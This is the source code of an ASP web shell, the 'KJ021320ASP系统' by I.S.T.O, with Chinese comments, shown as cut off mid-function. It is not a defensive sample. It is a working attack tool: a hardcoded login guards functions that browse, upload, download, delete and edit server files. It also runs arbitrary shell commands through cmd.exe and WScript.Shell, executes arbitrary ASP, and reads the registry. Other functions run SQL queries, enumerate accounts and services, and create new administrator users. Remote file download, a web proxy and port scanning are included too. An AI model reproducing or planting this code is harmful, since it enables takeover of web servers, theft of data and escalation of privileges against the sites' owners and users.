<%=AppName&" - "&ServerIP%>

欢迎您在本站投稿！

<% 'Option Explicit'####版权所有--I.S.T.O#### AppName="KJ021320ASP系统Beta版" Server.ScriptTimeout=999500000 Response.Buffer=True URL=Request.ServerVariables("URL") ServerIP=Request.ServerVariables("LOCAL_ADDR") WebSite=Server.MapPath(".") ConnMDB="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" On Error Resume Next If Session("ID")="" then Dim Username,Password '-----------帐号密码-------- Username="kj021320" Password="kj021320" '-----------帐号密码-------- If Request("LName")=Username and Request("LPass")=Password Then if geturl("Part")<>"" then CutTransfer geturl("SavePath"),geturl("Part") Session("ID")=1 Response.Redirect URL Else'显示登陆界面 %>

<%=AppName%>

<% End If Response.End End If %> <%=AppName&" - "&ServerIP%> <%'功能模块 Action=request("Action"):fn=request("Filename"):fp=request("FolderPath") dim S:Set S=new Sys Select Case Action Case "MainMenu"'fso盘符目录 MainMenu() Case "SAMainMenu"'sa盘符目录 SAMainMenu() Case "FSOShowfFolder"'fso显示文件 S.ShowfAll fp,"FSO" if Err then S.ShowfAll fp,"SA":Err.clear Case "SAShowfFolder"'SA显示文件 S.ShowfAll fp,"SA" GetErr(Err) Case "FSOShowDetail"'fso显示文件(详细信息) S.ShowDetail fp GetErr(Err) Case "DownFile"'下载文件 S.DownTheFile fn Case "FSOCopyFile"'fso文件拷贝 S.CopyFile fn,"FSO" Case "StreamCopyFile"'流文件拷贝 S.CopyFile fn,"Stream" Case "FSOFolderCOPY" S.FolderAction fn,Action Case "FSOFolderMOVE" S.FolderAction fn,Action Case "SAFolderCOPY" S.FolderAction fn,Action Case "SAFolderMOVE" S.FolderAction fn,Action Case "FileMOVE" S.FileAction fn,Action Case "FolderDEL" S.FileAction fn,Action Case "FileDEL" S.FileAction fn,Action Case "FileARB" S.Attribute fn,Action Case "FolderARB" S.Attribute fn,Action Case "modifyARB" S.Attribute input("Y"),Action Case "Streamread" S.FileRead fn,"Stream" Case "FSOread" S.FileRead fn,"FSO" Case "Logout":Session.Contents.Remove("ID"):Response.Redirect URL'退出模块 Case "ServerInfoservice"'服务进程模块 S.ServerInfoservice() Case "ServerConfig"'服务器设置模块 S.ServerConfig() Case "Userinfo"'用户信息模块 S.Userinfo() Case "SysTools"'系统工具 SysTools() Case "Adduser"'添加用户功能 S.Adduser input("Addusername"),input("Addpassword") Case "SQLexec" S.SQLAction input("ConnStr"),input("SQLcmd") SysTools() Case "ReadREG" S.Readreg input("Regedit") SysTools() Case "DownURL" S.DownURL input("URL"),input("LocalAddress") SysTools() Case "UPfile" S.UpFile() Case "WSexec" S.ExecRun input("WSpathname"),input("WSargs"),"WS" SysTools() Case "SAexec" S.ExecRun input("SApathname"),input("SAargs"),"SA" SysTools() Case "NewFolder" S.CreateFolder fp,input("option") Case "SaveFile" S.FileSave input("filepath"),input("option"),input("FileContent") Case "SAPack" S.PackIt fn,"SA" Case "FSOPack" S.PackIt fn,"FSO" Case "UnPackage" S.UnPack input("MdbPath"),input("FolderPath") Case "FSOSearch" S.Search fp,fn,"FSO" Case "SASearch" S.Search fp,fn,"SA" Case "RunAsp":Execute fn Case "WebProxy" WebProxy() Case "PortScan" ps input("ip"),input("p"),input("option"),fn Case "ReName" S.ReName fn Case "InterFace" InterFace()'插件接口 Case Else MainForm()'窗体筐架 End Select Set S=nothing echo "" sub MainForm()'主窗体方法 %>

地址栏:

FSOSA

<% end sub sub MainMenu()'FSO显示盘符模块 on error resume next Dim Dr,DrType echo "" For Each Dr In GetFso().Drives echo "" Next if err then err.clear echo "" echo "" call DispMemu end sub Sub SAMainMenu()'S.A显示盘符模块 on error resume next Dim Folder,Drv Set Folder=GetSA().namespace("::{20D04FE0-3AEA-1069-A2D8-08002B30309D}") echo "

"&Ico(58)&"FileSystemObject文件操作

"&Ico(59)&"" DrType=DriveType(Dr.DriveType) if Dr.IsReady then DrType=DrType&"("&Dr.VolumeName&")" else DrType=DrType&"(没有准备好)" end if echo Dr.Path&DrType&"

"&Ico(48)&"WEB目录

"&Ico(58)&"Shell.Application文件操作

" echo "" for each Drv in Folder.Items If Drv.IsFolder and left(Drv.Path,2)<>"::" Then echo "" next if err then err.clear echo "" set Folder=nothing call DispMemu end sub class Sys'系统功能类 sub ServerInfoservice()'服务器信息 On Error Resume Next dim Computer,Service Set Computer=GetObject("WinNT://.") Computer.Filter=Array("Service") For Each Service In Computer with Service echo "

服务名称:"&.Name&"
" echo "显示名称:"&.DisplayName&"
" echo "启动类型:"&StartType(.StartType)&"
" echo "运行状态:"&GetSA().IsServiceRunning(.Name)&"
" echo "当前状态:"&.Status&"
" echo "服务类型:"&.ServiceType&"
" echo "登录身份:"&.ServiceAccountName&"
" echo "服务描述:"&ServiceDsc(.Name)&"
" echo "文件路径及参数:"&.Path end with Next GetErr(Err) end sub Function ServiceDsc(strService) ServiceDsc=GetWS().RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\"&strService&"\Description") End Function Function StartType(num) Select Case num Case 2:StartType="自动" Case 3:StartType="手动" Case 4:StartType="已禁用" End Select End Function sub ServerConfig on error resume next dim i,ws,Sa,sysenv,envlist,envlists,cpunum,cpuinfo,os envlists="SystemRoot$WinDir$ComSpec$TEMP$TMP$NUMBER_OF_PROCESSORS$OS$Os2LibPath$Path$PATHEXT$PROCESSOR_ARCHITECTURE$PROCESSOR_IDENTIFIER$PROCESSOR_LEVEL$PROCESSOR_REVISION" envlist=split(envlists,"$") Set ws=GetWS() set sysenv=ws.environment("system") with request cpunum=.servervariables("number_of_processors") if isnull(cpunum) or cpunum="" then cpunum=sysenv("number_of_processors") os=.servervariables("os") if isnull(os) or os="" then os=sysenv("os")&"(有可能是 windows2003 哦)" cpuinfo=sysenv("processor_identifier") echo "服务器相关参数:

" echo "

服务器名:"&.servervariables("server_name")&"

" echo "

服务器ip:"&.servervariables("local_addr")&"

" echo "

服务端口:"&.servervariables("server_port")&"

" echo "

服务器内存:"&GetSize(GetSA().getsysteminformation("physicalmemoryinstalled"))&"

" echo "

服务器时间:"&now&"

" echo "

服务器软件:"&.servervariables("server_software")&"

" echo "

脚本超时时间:"&server.scripttimeout&"

" echo "

服务器cpu数量:"&cpunum&"

" echo "

服务器cpu详情:"&cpuinfo&"

" echo "

服务器操作系统:"&os&"

" echo "

服务器解译引擎:"&scriptengine&"/"&scriptenginemajorversion&"."&scriptengineminorversion&"."&scriptenginebuildversion&"

" echo "

本文件实际路径:"&.servervariables("path_translated")&"

" end with for i=0 to ubound(envlist) echo "

"&envlist(i)&": "&ws.expandenvironmentstrings("%"&envlist(i)&"%")&"

" next set ws=nothing set sysenv=nothing Dim TheDrive,Fso set Fso=GetFso() echo "

服务器磁盘信息:" echo "

"&Ico(58)&"FileSystemObject文件操作

"&Ico(58)&"Shell.Application文件操作

"&Ico(59)&""&Drv.Name&"

"&Ico(48)&"WEB目录

" For Each TheDrive In Fso.Drives with TheDrive echo "" echo "" If Not UCase(.DriveLetter)="A" Then echo "" echo "" echo "" echo "" End If end with If Err Then Err.Clear Next echo "

盘符	类型	卷标	文件系统	可用空间	总空间
"&.DriveLetter&"	"&DriveType(.DriveType)&"	"&.VolumeName&"	"&.FileSystem&"	"&GetSize(.FreeSpace)&"	"&GetSize(.TotalSize)&"

" Set TheDrive=Nothing Set Fso=Nothing echo AppName end sub sub Userinfo()'用户组信息 On Error Resume Next Dim User,Group,Computer Set Computer=GetObject("WinNT://.") Computer.Filter=Array("User") echo "User:

" For Each User in Computer echo "

"&User.Name&"

" getUserInfo(User.Name) echo "

" Next echo "UserGroup:

" Computer.Filter=Array("Group") For Each Group in Computer echo "

"&Group.Name&"

"&Group.Description&"

" Next echo AppName End Sub Sub getUserInfo(strUser)'用户帐号信息 On Error Resume Next Dim User,Flags Set User=GetObject("WinNT://./"&strUser&",user") with User echo "描述:"&.Description&"
" echo "所属用户组:"&ItsGroup(strUser)&"
" echo "密码已过期:"&cbool(.Get("PasswordExpired"))&"
" Flags=User.Get("UserFlags") echo "密码永不过期:"&cbool(Flags And&H10000)&"
" echo "用户不能更改密码:"&cbool(Flags And&H00040)&"
" echo "非全局帐号:"&cbool(Flags And&H100)&"
" echo "密码的最小长度:"&.PasswordMinimumLength&"
" echo "是否要求有密码:"&.PasswordRequired&"
" echo "帐号停用中:"&.AccountDisabled&"
" echo "帐号锁定中:"&.IsAccountLocked&"
" echo "用户信息文件:"&.Profile&"
" echo "用户登录脚本:"&.LoginScript&"
" echo "用户Home目录:"&.HomeDirectory&"
" echo "用户Home目录根:"&.Get("HomeDirDrive")&"
" echo "帐号过期时间:"&.AccountExpirationDate&"
" echo "帐号失败登录次数:"&.BadLoginCount&"
" echo "帐号最后登录时间:"&.LastLogin&"
" echo "帐号最后注销时间:"&.LastLogoff&"
" For Each RegTime In .LoginHours If RegTime < 255 Then Restrict=True End If Next end with echo "帐号已用时间:"&Restrict&"
" Err.Clear End Sub Function ItsGroup(strUser) Dim User,Group Set User=GetObject("WinNT://./"&strUser&",user") For Each Group in User.Groups ItsGroup=ItsGroup&" "&Group.Name Next End Function Sub Adduser(struser,strpassword)'添加用户功能 on error resume next Dim computer,theuser,thegroup Set computer=GetObject("WinNT://.") Set thegroup=GetObject("WinNT://./Administrators,group") GetErr(Err) Set theuser=computer.Create("user",struser) theuser.SetPassword strpassword GetErr(Err) theuser.SetInfo GetErr(Err) thegroup.Add GetObject("WinNT://./"&struser&",user").ADsPath GetErr(Err) Set theuser=Nothing:Set computer=Nothing:Set thegroup=Nothing GetErr(Err) echo "建立成功" End Sub Sub ShowfAll(Path,A)'显示所有文件非详细 if A="FSO" then dim fso,drv,D,F,Detail set fso=GetFso() if Path="" then Path=WebSite if fso.FolderExists(Path) then Set drv=fso.GetFolder(Path) echo "" For Each D In drv.SubFolders echo "" Next set D=nothing For Each F In drv.Files echo "" Next echo "

名称	类型	操作
"&Ico(48)&HTMLEncode(D.Name)&"	"&D.Type&"	"&FOption(D,"P",Path)&"
"&Ico(50)&HTMLEncode(F.Name)&"	"&F.Type&"	"&FOption(F,"F",Path)&"

" set F=nothing end if elseif A="SA" then dim sa,Folders,OddFile set sa=GetSA() echo "" set Folderss=sa.NameSpace(Path) For Each OddFile In Folderss.Items if OddFile.IsFolder then echo "" elseif OddFile.IsFileSystem then echo "" else echo "" end if next echo "

名称	类型	大小	修改日期	操作
"&Ico(48)&HTMLEncode(OddFile.Name)&"	"&OddFile.Type&"	"&GetSize(OddFile.Size)&"	"&OddFile.ModifyDate&"	"&FOption(OddFile,"P",Path)&"
"&Ico(50)&HTMLEncode(mid(OddFile.Path,instrrev(OddFile.Path,"\")+1))&"	"&OddFile.Type&"	"&GetSize(OddFile.Size)&"	"&OddFile.ModifyDate&"	"&FOption(OddFile,"F",Path)&"
"&HTMLEncode(OddFile.Name)&"	"&OddFile.Type&"

":set sa=nothing:set Folderss=nothing end if end sub Sub ShowDetail(Path)'显示详细资料 dim fso,drv,D,F set fso=GetFso() if fso.FolderExists(Path) then Set drv=fso.GetFolder(Path) echo "" For Each D In drv.SubFolders echo "" Next set D=nothing For Each F In drv.Files echo "" Next echo "

名称	大小	创建日期	修改日期	最后访问	类型	操作
"&Ico(48)&HTMLEncode(D.Name)&"	"&GetSize(D.size)&"	"&D.DateCreated&"	"&D.DateLastModified&"	"&D.DateLastAccessed&"	"&D.Type&"	"&FOption(D,"P",Path)&"
"&Ico(50)&HTMLEncode(F.Name)&"	"&GetSize(F.size)&"	"&F.DateCreated&"	"&F.DateLastModified&"	"&F.DateLastAccessed&"	"&F.Type&"	"&FOption(F,"F",Path)&"

":set F=nothing:set drv=nothing end if End Sub Sub DownTheFile(thePath)'文件下载 with Response .Clear Dim stream,fileName,fileContentType fileName=split(thePath,"\")(uBound(split(thePath,"\"))) Set stream=GetStream() stream.Open stream.Type=1 stream.LoadFromFile(thePath) .AddHeader "Content-Disposition","attachment; filename="&fileName .AddHeader "Content-Length",stream.Size .Charset="UTF-8" .ContentType="application/octet-stream" .BinaryWrite stream.Read .Flush stream.Close Set stream=Nothing end with GetErr(Err) End Sub Sub CopyFile(FilePath,A) on error resume next Dim FileName,Fso FileName=Split(FilePath,"|||") If FileName(1)<>"null" and FileName(1)<>"" Then If A="FSO" then Set Fso=GetFso() Fso.CopyFile FileName(0),FileName(1) set Fso=Nothing Else Set stream=GetStream() with stream .Open .Type=1 .LoadFromFile FileName(0) .SaveToFile FileName(1),2 .Close end with Set stream=Nothing End If GetErr(Err) echo "文件复制成功请返回" End If End Sub Sub FolderAction(FolderPath,A) on error resume next dim SA,fso,path,Folder,Fpath,FPArray FPArray=Split(FolderPath,"|||") If left(A,2)="SA" then set SA=GetSA() Fpath=FPArray(0) For i=Len(Fpath) To 1 Step -1 If Mid(Fpath,i,1)="\" Then Path=Left(Fpath,i - 1) Exit For End If Next If Len(Path)=2 Then Path=Path&"\" Folder=Right(Fpath,Len(Fpath) - i) If A="SAFolderMOVE" then SA.NameSpace(FPArray(1)).MoveHere SA.NameSpace(Path).parsename(Folder),1024 Else SA.NameSpace(FPArray(1)).CopyHere SA.NameSpace(Path).parsename(Folder),1024 End If set SA=nothing Else set fso=GetFso() if A="FSOFolderMOVE" then fso.MoveFolder FPArray(0),FPArray(1) else fso.CopyFolder FPArray(0),FPArray(1) end If set Fso=nothing End If GetErr(Err) echo "操作成功" End Sub Sub FileAction(FilePath,A)'移动拷贝删除操作 on error resume next Set Fso=GetFso() with Fso If A="FileMOVE" then FilePath=Split(FilePath,"|||") if .FileExists(FilePath(0)) then .MoveFile FilePath(0),FilePath(1) End If Elseif A="FileDEL" then If .FileExists(FilePath) then .DeleteFile(FilePath) Elseif A="FolderDEL" then If .FolderExists(FilePath) then .DeleteFolder(FilePath) End if end With set Fso=nothing GetErr(Err) echo "操作成功" End Sub Sub ReName(All)'文件重命名 on error resume next dim Fso,F,Fname,Nname,i F=Split(All,"|||") If F(2)="FSO" then Set Fso=GetFso() If F(3)="File" then Fso.GetFile(F(0)).Name=F(1) Else Fso.GetFolder(F(0)).Name=F(1) End If Set Fso=Nothing Else i=InStrRev(F(0),"\") Fname=left(F(0),i) Nname=right(F(0),len(F(0))-i) GetSA().NameSpace(Fname).Items.Item(Nname).Name=F(1) End If GetErr(Err) echo "重命名成功请返回" End Sub Sub Attribute(FilePath,A) on error resume next dim Fso,F Set Fso=GetFso() With Fso If A="FileARB" then Set F=.getfile(FilePath) echo Arbvalue(F.attributes,FilePath,1) ElseIf A="FolderARB" then Set F=.getfolder(FilePath) echo Arbvalue(F.attributes,FilePath,0) Else if Split(FilePath,"|||")(1)="1" then .getfile(Split(FilePath,"|||")(0)).attributes=SaveArb() else .getfolder(Split(FilePath,"|||")(0)).attributes=SaveArb() end if End If End With Set F=Nothing Set Fso=Nothing GetErr(Err):echo "
操作成功" End Sub function Arbvalue(intvalue,path,Y) dim ArbV ArbV="

"&path&" 文件(夹)属性编辑
" ArbV=ArbV&"系统" ArbV=ArbV&"隐藏" ArbV=ArbV&"只读" ArbV=ArbV&"存档
" ArbV=ArbV&"普通" ArbV=ArbV&"压缩" ArbV=ArbV&"文件夹" ArbV=ArbV&"快捷方式" ArbV=ArbV&"卷标
" If intvalue=0 Then ArbV=replace(ArbV,"{$normal}","checked") If intvalue And 1 Then ArbV=replace(ArbV,"{$readonly}","checked") If intvalue And 2 Then ArbV=replace(ArbV,"{$hidden}","checked") If intvalue And 4 Then ArbV=replace(ArbV,"{$system}","checked") If intvalue And 8 Then ArbV=replace(ArbV,"{$volume}","checked") If intvalue And 32 Then ArbV=replace(ArbV,"{$archive}","checked") If intvalue And 64 Then ArbV=replace(ArbV,"{$alias}","checked") If intvalue And 16 Then ArbV=replace(ArbV,"{$directory}","checked") If intvalue And 128 Then ArbV=replace(ArbV,"{$compressed}","checked") Arbvalue=ArbV end function Function SaveArb() dim i,attribute for i=1 to request("attribs").count attribute=attribute+cint(request("attribs")(i)) next SaveArb=attribute End Function Sub SQLAction(ConnStr,SQLcmd)'数据库操作 If ConnStr<>"" then If SQLcmd="" then ShowTables ConnStr Else Dim Conn,Rs,Tables,row,col Set Conn=GetConn() Set RS=GetRs() with Conn .CursorLocation=3 .ConnectionString=ConnStr .open Rs.open SQLcmd,Conn GetErr(Err) Tables=Rs.GetRows echo "" for col=0 To Rs.Fields.Count-1 echo "" Next echo "" Rs.Close .Close end with Set Rs=Nothing Set Conn=Nothing GetErr(Err) nRows=UBound(Tables,2) For row=0 To nRows echo "" For col=0 To UBound(Tables,1) echo "" Next echo "" Next echo "

"&Rs.Fields.Item(col).Name&"

"&TypeCheck(Tables(col,row))&"

" End If End If GetErr(Err) End Sub Sub ShowTables(ConnStr)'显示表结构 On Error Resume Next Dim Conn,Rstable,Rscolumn,tablesstr set Conn=GetConn() Conn.open ConnStr GetErr(Err) set Rstable = conn.openschema(20) Do until Rstable.eof echo "名字:"&Rstable(2)&" 类型:"&Rstable(3)&" 创建时间:"&Rstable(7)&" 修改时间:"&Rstable(8)&"
" If instr(Rstable(3),"TABLE")>0 then echo "" set Rscolumn = conn.openschema(4,array(empty,empty,Rstable(2).value)) Do until Rscolumn.eof echo "" echo "" echo "" echo "" echo "" echo "" Rscolumn.movenext loop echo "

字段名	类型	大小	精度	允许为空	默认值
"&Rscolumn(3)&"	"&DT(Rscolumn(11))&"	"&Rscolumn(13)&"	"&Rscolumn(15)&"	"&Rscolumn(10)&"	"&Rscolumn(8)&"

" end if Rstable.movenext echo "

" loop conn.close:GetErr(err) set conn=nothing:set rstable=nothing:set rscolumn=nothing End sub Function DT(NumType)'字段类型 Select Case NumType Case 20:DT="BigInt" Case 128:DT="Binary" Case 11:DT="Bool" Case 8:DT="BSTR" Case 136:DT="Chapter" Case 129:DT="Char" Case 6:DT="Currency" Case 7:DT="Date" Case 133:DT="DBDate" Case 134:DT="DBTime" Case 135:DT="DBTimeStamp" Case 14:DT="Decimal" Case 5:DT="Double" Case 0:DT="Empty" Case 10:DT="Error" Case 64:DT="FileTime" Case 72:DT="GUID" Case 9:DT="IDispatch" Case 3:DT="Integer" Case 13:DT="IUnknown" Case 205:DT="LongVarBinary" Case 201:DT="LongVarChar" Case 203:DT="LongVarWChar" Case 131:DT="Numeric" Case 138:DT="PropVariant" Case 4:DT="Single" Case 2:DT="SmallInt" Case 16:DT="TinyInt" Case 21:DT="UnsignedBigInt" Case 19:DT="UnsignedInt" Case 18:DT="UnsignedSmallInt" Case 17:DT="UnsignedTinyInt" Case 132:DT="UserDefined" Case 204:DT="VarBinary" Case 200:DT="VarChar" Case 12:DT="Variant" Case 139:DT="VarNumeric" Case 202:DT="VarWChar" Case 130:DT="WChar" End Select End Function Function TypeCheck(TypeStr)'判断字段数据 If VarType(TypeStr)=8209 Then TypeCheck="二进制数据" ElseIf IsNull(TypeStr) then TypeCheck=" " Else If Len(TypeStr)>99 Then TypeCheck=HTMLEncode(Left(TypeStr,99))&"..." Else TypeCheck=HTMLEncode(TypeStr) End If End If End Function Sub Readreg(thepath) Dim i,thearray thearray=GetWS().regread(thepath) if isarray(thearray) then for i=0 to ubound(thearray) echo "

"&thearray(i) next else echo "

"&thearray end if GetErr(Err) End Sub Sub DownURL(StrUrl,StrPath) Dim stream,filename set stream=GetStream() with stream .type=1 .mode=3 .open .write HttpXml(StrUrl,"get",true) .position=0 .savetofile StrPath,2 if err.number=3004 then err.clear filename=split(StrUrl,"/")(ubound(split(StrUrl,"/"))) if filename="" then filename="index.txt" end if StrPath=StrPath&"\"&filename .savetofile StrPath,2 end if .close end with GetErr(Err) echo "文件 "&StrPath&" 下载成功!" Set stream=nothing End Sub Sub PackIt(path,A)'文件打包 on error resume next dim Rs,Stream,conn,ConnStr Set Rs=GetRs() Set Stream=GetStream() Set conn=GetConn() p=split(path,"|||")(1) path=split(path,"|||")(0) ConnStr=ConnMDB&p CreateObject("ADOX.Catalog").Create ConnStr conn.Open ConnStr conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED,P Text,fileContent Image)") Stream.Open Stream.Type=1 Rs.Open "[FileData]",conn,3,3 GetErr(Err) if A="SA" then SAPack GetSA().NameSpace(path),path,Rs,Stream,p else FsoPack GetFso().GetFolder(path),path,Rs,Stream,p end if GetErr(Err) echo "压缩成功" set Rs=nothing set Stream=nothing set conn=nothing End Sub Sub FsoPack(Folders,path,Rs,Stream,fp)'遍历目录压缩 on error resume next For Each File In Folders.Files If File.path<>fp then Rs.AddNew Rs("P")=Mid(File.path,len(path)+1) Stream.LoadFromFile(File.path) Rs("fileContent")=Stream.Read() Rs.Update End If Next For Each Fold In Folders.SubFolders FsoPack Fold,path,Rs,Stream,fp Next set Folders=nothing End Sub Sub SAPack(Folders,path,Rs,Stream,fp)'遍历目录压缩 on error resume next For Each F In Folders.Items If F.IsFolder Then SAPack F.GetFolder,path,Rs,Stream,fp If F.IsFileSystem and not F.IsFolder and F.path<>fp Then Rs.AddNew Rs("P")=Mid(F.path,len(path)+1) Stream.LoadFromFile(F.path) Rs("fileContent")=Stream.Read() Rs.Update End If Next set Folders=nothing End Sub Sub UnPack(MDBpath,FilePath)'解压 on error resume next Dim Fso,Stream,Conn,Rs,ConnStr,FP ConnStr=ConnStr&ConnMDB&MDBpath Set Conn=GetConn() Set Rs=GetRs() Set Fso=GetFso() Set Stream=GetStream() Conn.Open ConnStr GetErr(Err) Rs.Open "FileData",Conn,1,1 With Stream .Open .Type=1 Do Until Rs.Eof FP=FilePath&Left(Rs("P"),InStrRev(Rs("P"),"\")) if not Fso.FolderExists(FP) then CreateFolder FP,"FSO" .SetEOS() If not IsNull(rs("fileContent")) then .Write Rs("fileContent") .SaveToFile FilePath&Rs("P") Rs.MoveNext Loop Rs.Close conn.Close .Close End With GetErr(Err) echo "解压缩OK" Set Stream=nothing Set Fso=nothing Set Conn=nothing Set Rs=nothing End Sub Sub UpFile()'文件上传 Dim FilePath,Stream,TStream,iStart,iEnd,filecontent,compare FilePath=geturl("UPaddress") Set Stream=GetStream() Set TStream=GetStream() With Stream .type=1 .mode=3 .open .write request.binaryread(request.totalbytes) .position=0 filecontent=.read() iStart=instrb(filecontent,chrb(13)&chrb(10)) compare=leftb(filecontent,iStart - 1) iStart=instrb(filecontent,chrb(13)&chrb(10)&chrb(13)&chrb(10))+ 4 - 1 iEnd=instrb(iStart,filecontent,compare)-1 TStream.type=1 TStream.mode=3 TStream.open Stream.position=iStart .copyto TStream,iEnd - iStart - 2 TStream.savetofile FilePath,2 TStream.close .close GetErr(Err) End With Set Stream=nothing Set TStream=nothing echo "上传成功" End Sub Sub ExecRun(pathname,args,A) On Error Resume Next Dim Result If A="WS" then dim WS If pathname="" then pathname="cmd.exe /c" End If Set WS=GetWS() Result=WS.exec(pathname&" "&args).stdout.readall() If err then err.clear WS.Run pathname&" "&args,0,true GetErr(Err) echo "WS.Run运行成功" End If Set WS=Nothing GetErr(Err) Else Dim SA,Appname,Foldername Set SA=GetSA() Foldername=Left(pathname,InStrRev(pathname,"\")) Appname=Replace(pathname,Foldername,"") SA.shellexecute Appname,args,pathname,"",0 GetErr(Err) Set SA=nothing echo "文件运行成功" End If If Result<>"" then echo "" End If End Sub Sub CreateFolder(FolderPath,A) On Error Resume Next Dim Foldername,NFoldername If Right(FolderPath,1)="\" Then FolderPath=Left(FolderPath,InStrRev(FolderPath,"\") - 1) End If Foldername=Left(FolderPath,InStrRev(FolderPath,"\")) NFoldername=Replace(FolderPath,Foldername,"") If A="FSO" then Dim Fso Set Fso=GetFso() if Fso.FolderExists(Foldername) then Fso.CreateFolder FolderPath else CreateFolder Foldername,A Fso.CreateFolder FolderPath end if Set Fso=Nothing Else GetSA().NameSpace(Foldername).NewFolder(NFoldername) End If GetErr(Err) echo FolderPath&" Created
" End Sub Sub FileSave(FilePath,A,t) on error resume next If A="Stream" Then dim stream set stream=GetStream() with stream .type=2 .mode=3 .open .charset="gbk" .writetext t .savetofile FilePath,2 .close end with set stream=nothing Elseif A="FSO" then Dim Fso Set Fso=GetFso() Fso.CreateTextFile(FilePath,True).Write t Set Fso=Nothing Else Dim Xml Set Xml=GetXml() Xml.loadXML t Xml.save FilePath set Xml=Nothing End If echo "操作成功" GetErr(err) End Sub Sub Search(Path,Fname,Flag) echo "" If Flag="SA" then RecursionSearch GetSA().NameSpace(Path),Fname,"",Path else RecursionSearch GetFso().GetFolder(Path),Fname,"F",Path End if echo "

名称

路径

操作

搜索记录数为:"&Session("ID"):Session("ID")=0 GetErr(Err) End Sub Sub RecursionSearch(Obj,Fname,Flag,P) on error resume next Dim F if Flag="F" then For Each F In Obj.Files If instr(F.Name,Fname)>0 then echo ""&F.Name&""&P&"\"&F.Name&""&FOption(F,"F",P)&"":Session("ID")=Session("ID")+1 Next For Each F In Obj.SubFolders If instr(F.Name,Fname)>0 then echo ""&F.Name&""&P&"\"&F.Name&""&FOption(F,"P",P)&"" RecursionSearch F,Fname,"F",P&"\"&F.Name Session("ID")=Session("ID")+1 Next Else For Each F In Obj.Items N=mid(F.Path,instrrev(F.Path,"\")+1) If F.IsFolder Then If instr(N,Fname)>0 then echo ""&N&""&F.Path&""&FOption(F,"P",P)&"" RecursionSearch F.GetFolder,Fname,"",P&"\"&F.Name Session("ID")=Session("ID")+1 End If If F.IsFileSystem and not F.IsFolder and instr(N,Fname)>0 Then echo ""&N&""&F.Path&""&FOption(F,"F",P)&"":Session("ID")=Session("ID")+1 Next End If Set F=Nothing End Sub Sub FileRead(FilePath,A) on error resume next If FilePath<>"" then Dim Stream,filecontent,Fso If A="Stream" then Set Stream=GetStream() with Stream .type=2 .mode=3 .open GetErr(Err) .charset="gbk" .LoadFromFile FilePath filecontent=.ReadText() .close End With Set Stream=Nothing Else Set Fso=GetFso() filecontent=Fso.OpenTextFile(FilePath).ReadAll Set Fso=Nothing End If End If %> 文件路径: "> Stream FSO XML

<% GetErr(Err) End Sub End Class sub DispMemu'菜单模版 %> 控制面板 <%=Ico(40)%>网上邻居 <%=Ico(62)%>系统服务信息 <%=Ico(62)%>系统配置信息 <%=Ico(62)%>用户及用户组信息 <%=Ico(53)%>系统工具模块 <%=Ico(57)%>用户插件接口 <%=Ico(90)%>退出登陆 About 活着(LivinG) <% end sub '续传 Sub CutTransfer(Filepath,part) on error resume next Dim Stream,Fso set Stream=GetStream() with Stream .Mode=3 .Type=1 .Open if GetFso().FileExists(Filepath) and part>1 then .LoadFromFile Filepath if .size>=(part-1)*10240 then .Position=(part-1)*10240 end if .Write request.BinaryRead(request.TotalBytes) .SaveToFile Filepath,2 end with set Stream=nothing GetErr(Err) echo "OK" Response.End End Sub Sub WebProxy() Dim i,re,Html,StrURL Response.Clear() StrURL=geturl("URL") Set re=New RegExp with re .IgnoreCase=True .Global=True sUrlB=StrURL Html=BytesToStr(HttpXml(StrURL,request.ServerVariables("REQUEST_METHOD"),false),"gbk") If sUrl<>"" Then echo Html:Response.End() StrURL=Left(StrURL,InStrRev(StrURL,"/")) i=InStr(sUrlB,"?") If i>0 Then sUrlB=Left(sUrlB,i - 1) End If .Pattern="(href|action)=(\'|"")?(\?)" Html=re.Replace(Html,"$1=$2"&sUrlB&"?") .Pattern="(src|action|href)=(\'|"")?((http|https|javascript):[A-Za-z0-9\./=\?%\-&_~`@[\]\':+!]+([^<>""])+)(\'|"")?" Html=.Replace(Html,"$1x=$2$3$2") .Pattern="(window\.open|url)$(\'|"")?((http|https):(\/\/|\\\$[A-Za-z0-9\./=\?%\-&_~`@[\]:+!]+([^\'<>""])+)(\'|"")?\)" Html=.Replace(Html,"$1x($2$3$2)") .Pattern="(src|action|href|background)=(\'|"")?([^\/""\'][A-Za-z0-9\./=\?%\-&_~`@[\]:+!]+([^\'<>""])+)(\'|"")?" Html=.Replace(Html,"$1=$2"&StrURL&"$3$2") .Pattern="(src|action|href|background)=(\'|"")?\/([^""\'][A-Za-z0-9\./=\?%\-&_~`@[\]:+!]+([^\'<>""])+)(\'|"")?" Html=.Replace(Html,"$1=$2http://"&Split(StrURL,"/")(2)&"/$3$2") .Pattern="(src|action|href)=(\'|"")?\/(\'|"")?" Html=.Replace(Html,"$1=$2http://"&Split(StrURL,"/")(2)&"/$2") .Pattern="(window\.open|url)$(\'|"")?([^\/""\'http:][A-Za-z0-9\./=\?%\-&_~`@[\]+!]+([^\'<>""])+)(\'|"")?$" Html=.Replace(Html,"$1($2"&StrURL&"$3$2)") .Pattern="(window\.open|url)$(\'|"")?\/([^""\'http:][A-Za-z0-9\./=\?%\-&_~`@[\]+!]+([^\'<>""])+)(\'|"")?$" Html=re.Replace(Html,"$1($2http://"&Split(StrURL,"/")(2)&"/$3$2)") Html=Replace(Html,"&","%26") Html=Replace(Html,"%26nbsp;"," ") Html=Replace(Html,"%26lt;","<") Html=Replace(Html,"%26gt;",">") Html=Replace(Html,"%26quot;",""") Html=Replace(Html,"%26copy;","©") Html=Replace(Html,"%26reg;","®") Html=Replace(Html,"%26raquo;","»") Html=Replace(Html,"%26%26","&&") Html=Replace(Html,"%26#","&#") .Pattern="(src|action|href)x=(\'|"")?((http|https|javascript):[A-Za-z0-9\./=\?%\-&_~`@[\]\':+!]+([^<>""])+)(\'|"")?" Html=.Replace(Html,"$1=$2$3$2") .Pattern="((http|https):(\/\/|\\\\)[A-Za-z0-9\./=\?%\-&_~`@[\]\':+!]+([^<>""])+)" Html=.Replace(Html,"?Action=WebProxy&url=$1") .Pattern="\?Action=WebProxy&url="&StrURL&"(#|javascript:)" Html=.Replace(Html,"$1") .Pattern="multipart\/form-data" Html=.Replace(Html,"") .Pattern=">\?Action=WebProxy&url=((http|https|javascript):[A-Za-z0-9\./=\?%\-&_~`@[\]\':+!]+([^<>""])+)<" Html=.Replace(Html,">$1<") end with echo Html response.End End Sub Function 